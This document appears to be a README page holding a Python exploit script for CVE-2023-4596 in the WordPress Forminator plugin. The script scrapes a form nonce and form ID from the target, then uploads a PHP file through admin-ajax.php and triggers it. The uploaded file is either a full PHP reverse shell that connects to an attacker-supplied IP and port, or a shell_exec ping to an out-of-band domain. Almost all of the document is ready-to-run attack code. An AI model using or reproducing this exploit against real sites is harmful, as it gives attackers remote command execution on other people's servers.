README.md
Rendering markdown...
import requests
import datetime
import argparse
import re
import random
import string
print(r'''
______ _ _ ______ _____ _____
|@E1A | (_) | | | ___ \/ __ \| ___|
| |_ ___ _ __ _ __ ___ _ _ __ __ _| |_ ___ _ __ | |_/ /| / \/| |__
| _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| | / | | | __|
| || (_) | | | | | | | | | | | | (_| | || (_) | | | |\ \ | \__/\| |___
\_| \___/|_| |_| |_| |_|_|_| |_|\__,_|\__\___/|_| \_| \_| \____/\____/
''')
parser = argparse.ArgumentParser(description="Script to check for CVE-2023-4596")
parser.add_argument("-u", required=True, help="Full URL of a page with file upload")
parser.add_argument("-v", action="store_true", help="Check for a (vulnerable) version")
parser.add_argument("-r", action="store_true", help="Get an reverse shell on the instance")
args = parser.parse_args()
full_url = args.u
# Using regex to split the full url in parts
match = re.match(r"(https?://)(.*?)(/.*)?$", full_url)
if match:
http_prefix = match.group(1)
new_domain = http_prefix + match.group(2)
page = match.group(3) or "/"
else:
print("Invalid URL format")
exit()
# Checking for a (vulnerable) version
if args.v:
version_check_url = new_domain.rstrip('/') + "/wp-content/plugins/forminator/readme.txt"
try:
response = requests.get(version_check_url, timeout=5)
if response.status_code == 200:
readme_content = response.text
stable_tag_match = re.search(r"Stable tag:\s*([\d.]+)", readme_content)
if stable_tag_match:
stable_tag = stable_tag_match.group(1)
if stable_tag <= "1.24.6":
print("[+] Vulnerable version found:", stable_tag)
else:
print("[-] Version is not vulnerable:", stable_tag)
else:
print("[-] Could not determine Stable tag in readme.txt")
else:
print("[-] Unable to fetch readme.txt:", response.status_code)
except requests.RequestException as e:
print("[-] An error occurred while fetching readme.txt:", str(e))
exit()
url = new_domain + "/wp-admin/admin-ajax.php"
# Headers for the request
headers = {
"Content-Length": "1292",
"Accept": "*/*",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarytsSnyRY1FWmgGHpA",
"X-Requested-With": "XMLHttpRequest",
}
# Generate random filename to prevent multiple files with the same name being uploaded
def generate_random_string(length):
letters = string.ascii_letters
return ''.join(random.choice(letters) for _ in range(length))
random_filename = generate_random_string(10) + ".php"
# First request to retrieve the forminator_nonce and the form_id that is needed in the second request
initial_response = requests.get(full_url)
if initial_response.status_code != 200:
print("[-] Unable to fetch the initial page:", initial_response.status_code)
exit(1)
initial_response_text = initial_response.text
# Extracting the forminator_nonce and form_id
forminator_nonce_match = re.search(r'forminator_nonce"\s+value="(\b[0-9a-fA-F]{10}\b)"', initial_response_text)
if forminator_nonce_match:
forminator_nonce = forminator_nonce_match.group(1)
else:
print("[-] Could not extract forminator_nonce")
print("Did you include the complete URL of a webpage that contains a Forminator file upload field in the command?")
exit(1)
form_id_match = re.search(r'form_id"\s+value="([0-9]+)"', initial_response_text)
if form_id_match:
form_id = form_id_match.group(1)
else:
print("[-] Could not extract form_id")
exit(1)
# print(f"[+] Extracted forminator_nonce: {forminator_nonce}")
# print(f"[+] Extracted form_id: {form_id}")
if args.r:
ip = input("Enter IP address: ")
port = input("Enter port: ")
# Data for the second request with reverse shell
data = f"""------WebKitFormBoundarytsSnyRY1FWmgGHpA
Content-Disposition: form-data; name="postdata-1-post-image"; filename="{random_filename}"
Content-Type: application/x-php
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '{ip}';
$port = {port};
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {{
$pid = pcntl_fork();
if ($pid == -1) {{
printit("ERROR: Can't fork");
exit(1);
}}
if ($pid) {{
exit(0); // Parent exits
}}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {{
printit("Error: Can't setsid()");
exit(1);
}}
$daemon = 1;
}} else {{
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {{
printit("$errstr ($errno)");
exit(1);
}}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {{
printit("ERROR: Can't spawn shell");
exit(1);
}}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {{
// Check for end of TCP connection
if (feof($sock)) {{
printit("ERROR: Shell connection terminated");
break;
}}
// Check for end of STDOUT
if (feof($pipes[1])) {{
printit("ERROR: Shell process terminated");
break;
}}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {{
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {{
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {{
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}}
}}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {{
if (!$daemon) {{
print "$string\n";
}}
}}
?>
------WebKitFormBoundarytsSnyRY1FWmgGHpA
Content-Disposition: form-data; name="forminator_nonce"
{forminator_nonce}
------WebKitFormBoundarytsSnyRY1FWmgGHpA
Content-Disposition: form-data; name="_wp_http_referer"
{page}
------WebKitFormBoundarytsSnyRY1FWmgGHpA
Content-Disposition: form-data; name="form_id"
{form_id}
------WebKitFormBoundarytsSnyRY1FWmgGHpA
Content-Disposition: form-data; name="current_url"
{new_domain}{page}
------WebKitFormBoundarytsSnyRY1FWmgGHpA
Content-Disposition: form-data; name="action"
forminator_submit_form_custom-forms
"""
else:
interact = input("Input out-of-band link: ").replace("http://", "").replace("https://", "")
# Data for the second request for the file upload
data = f"""------WebKitFormBoundarytsSnyRY1FWmgGHpA
Content-Disposition: form-data; name="postdata-1-post-image"; filename="{random_filename}"
Content-Type: application/x-php
<?php
$domain = "{interact}";
$ip = gethostbyname($domain);
$command = "ping -c 4 " . $ip;
$output = shell_exec($command);
echo "<pre>$output</pre>";
?>
------WebKitFormBoundarytsSnyRY1FWmgGHpA
Content-Disposition: form-data; name="forminator_nonce"
{forminator_nonce}
------WebKitFormBoundarytsSnyRY1FWmgGHpA
Content-Disposition: form-data; name="_wp_http_referer"
{page}
------WebKitFormBoundarytsSnyRY1FWmgGHpA
Content-Disposition: form-data; name="form_id"
{form_id}
------WebKitFormBoundarytsSnyRY1FWmgGHpA
Content-Disposition: form-data; name="current_url"
{new_domain}{page}
------WebKitFormBoundarytsSnyRY1FWmgGHpA
Content-Disposition: form-data; name="action"
forminator_submit_form_custom-forms
"""
# Sending the second request
print("\n[+] Sending payload to target")
try:
response = requests.post(full_url, headers=headers, data=data, timeout=10)
if response.status_code == 200:
print("[+] Successful file upload!\n")
else:
print("[-] Server returned an unexpected response:", response.status_code)
exit(1)
except requests.Timeout:
print("[-] Request timed out. Server is unavailable.")
exit(1)
except requests.RequestException as e:
print("[-] An error occurred:", str(e))
exit(1)
# File will be uploaded in a folder with the current year and current month, using datetime to get this information and using it to send the request and printing the file location
now = datetime.datetime.now()
current_year = now.year
current_month = str(now.month).zfill(2)
uploaded_file_url = f"{new_domain}/wp-content/uploads/{current_year}/{current_month}/{random_filename}"
print("Uploaded File Location:", uploaded_file_url)
# Sending request to uploaded file to start the script
print("\n[+] Sending request to uploaded file...")
try:
uploaded_file_response = requests.get(uploaded_file_url, timeout=5) # Put this on purpose on a low timeout since it should be directly triggered; if the request fails, something is wrong with your OOB link, if you started an reverse shell it should time out
if uploaded_file_response.status_code == 200:
print("[+] Successfully triggered the uploaded file!")
print("[+] Check for an incoming request")
else:
print("[-] Server returned an unexpected response:", uploaded_file_response.status_code)
exit(1)
except requests.Timeout:
print("[-] Request timed out. This could be due to the server being unavailable or because you started an reverse shell")
exit(1)
except requests.RequestException as e:
print("[-] An error occurred:", str(e))
exit(1)